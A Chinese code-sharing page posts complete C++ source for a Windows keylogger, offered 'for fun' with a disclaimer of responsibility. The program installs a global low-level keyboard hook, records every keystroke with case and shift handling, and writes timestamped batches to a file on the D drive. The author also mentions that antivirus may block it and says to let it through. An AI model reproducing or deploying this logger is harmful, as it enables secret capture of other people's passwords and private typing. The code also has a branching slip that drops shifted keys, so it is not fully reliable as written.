首页 > 代码库 > 键盘钩子

键盘钩子

发段代码纯属娱乐。

本人郑重声明:若被用于其他非法用途,本人不承担法律责任。

捕获键盘输入,区分大小写,区分上下档输入。

我电脑的某些键ascII码值与ascII表中的值不一致,所以重新做了个map表。若你的一致,只须稍微改下代码即可。

键盘输入保存在d盘根目录下。杀毒软件可能会拦截,允许操作就可以了。

#define _WIN32_WINNT 0x0400
#define STRICT
#define WIN32_LEAN_AND_MEAN
#define WH_KEYBOARD_LL 13
#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<windows.h>
#include<fstream>
#include<string>
#include<sstream>
#include<map>
using std::map;
using std::string;
using std::pair;
using std::endl;
using std::cout;

map<int,string>dictionary;
string recod_str;
std::ofstream out;
SYSTEMTIME systim;

DWORD   g_main_tid = 0;
HHOOK   g_kb_hook   = 0;

BOOL CALLBACK con_handler (DWORD)
{
        PostThreadMessage (g_main_tid, WM_QUIT, 0, 0);
        return TRUE;
};

int shift(int value){
	switch(value){
	case 48:return value-7;
	case 50:return value+14;
	case 49:
	case 51:
	case 52:
	case 53:return value-16;
	case 54:return value+40;
	case 56:return value-14;
	case 55:
	case 57:return value-17;
	case 187:return value-144;
	case 189:return value-94;
	case 192:return value-66;
	case 219:
	case 222:
	case 221:return value-96;
	case 186:
	case 188:
	case 190:
	case 191:return value-128;
	case 220:return value-188;
	
	default:return value;
	}
}
string getlocaltime(string &str){
	GetLocalTime( &systim );//get sys time
	std::stringstream ss;	
	ss<<systim.wSecond;
	str = ss.str()+"------>>>>>>"+str;
	ss.str("");
	ss<<systim.wMinute;
	str = ss.str()+":"+str;
	ss.str("");
	ss<<systim.wHour;
	str = ss.str()+":"+str;
	ss.str("");
	ss<<systim.wDay;
	str = ss.str()+" "+str;
	ss.str("");
	ss<<systim.wMonth;
	str = ss.str()+"-"+str;
	ss.str("");
	ss<<systim.wYear;
	str = ss.str()+"-"+str;
	ss.str("");
	ss.str("");
	return str;
}
LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM lParam)
{
       PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
		static int a=0;
		static int state;
        const char *info = NULL;
        if (w == WM_KEYDOWN){

            info = "key dn";
			state = GetKeyState(VK_CAPITAL);
			int tmp = p->vkCode;
			if(state<=0&&tmp>64&&tmp<91){
				tmp = tmp+32;
			}
			int asyncState = GetAsyncKeyState(VK_SHIFT);

			if(asyncState<0){
				tmp = shift(tmp);
				//std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl;
			}
			else
				//std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl;
			recod_str += dictionary[tmp];
		}
		if(recod_str.size()>20){
			
			out.open("d:\\keylog.txt",std::ios::app);
			recod_str = getlocaltime(recod_str);
			out<<recod_str+"\n";
			cout<<"saved!"<<endl;
			out.close();
			recod_str = "";
		}
        return CallNextHookEx (g_kb_hook, code, w, lParam);
  
};
int main (void)
{
	dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!"));
	dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#"));
	dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%"));
	dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"‘"));
	dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")"));
	dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+"));
	dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-"));
	dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/"));
	dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1"));
	dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3"));
	dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5"));
	dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7"));
	dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9"));
	dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";"));
	dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"="));
	dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?"));
	dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A"));
	dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C"));
	dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E"));
	dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G"));
	dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I"));
	dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K"));
	dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M"));
	dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O"));
	dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q"));
	dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S"));
	dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U"));
	dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W"));
	dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y"));
	dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"["));
	dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]"));
	dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_"));
	dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a"));
	dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c"));
	dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e"));
	dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g"));
	dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i"));
	dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k"));
	dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m"));
	dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o"));
	dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q"));
	dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s"));
	dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u"));
	dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w"));
	dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y"));
	dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{"));
	dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}"));
	dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!"));
	dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#"));
	dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%"));
	dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"‘"));
	dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")"));
	dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+"));
	dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-"));
	dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/"));
	dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1"));
	dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3"));
	dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5"));
	dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7"));
	dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9"));
	dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";"));
	dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"="));
	dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?"));
	dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A"));
	dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C"));
	dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E"));
	dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G"));
	dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I"));
	dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K"));
	dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M"));
	dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O"));
	dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q"));
	dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S"));
	dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U"));
	dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W"));
	dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y"));
	dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"["));
	dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]"));
	dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_"));
	dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a"));
	dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c"));
	dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e"));
	dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g"));
	dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i"));
	dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k"));
	dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m"));
	dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o"));
	dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q"));
	dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s"));
	dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u"));
	dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w"));
	dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y"));
	dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{"));
	dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}"));
	dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(187,"="));
	dictionary.insert(pair<int,string>(189,"-"));dictionary.insert(pair<int,string>(192,"`"));
	dictionary.insert(pair<int,string>(219,"["));dictionary.insert(pair<int,string>(221,"]"));
	dictionary.insert(pair<int,string>(186,";"));dictionary.insert(pair<int,string>(222,"‘"));
	dictionary.insert(pair<int,string>(220,"\\"));dictionary.insert(pair<int,string>(188,","));
	dictionary.insert(pair<int,string>(190,"."));dictionary.insert(pair<int,string>(191,"/"));
    g_main_tid = GetCurrentThreadId ();
    SetConsoleCtrlHandler (&con_handler, TRUE);
    g_kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL,&kb_proc,
            GetModuleHandle (NULL), // 不能为NULL,否则失败
            0);
        if (g_kb_hook == NULL)
        {
            fprintf (stderr,
                "SetWindowsHookEx failed with error %d\n",
                ::GetLastError ());
            return 0;
        }
        // 消息循环是必须的,想知道原因可以查msdn
        MSG msg;
        while (GetMessage (&msg, NULL, 0, 0))
        {
            TranslateMessage (&msg);
            DispatchMessage (&msg);
        }
        UnhookWindowsHookEx (g_kb_hook);
        return 0;
}
 

欢迎大家讨论,共同进步。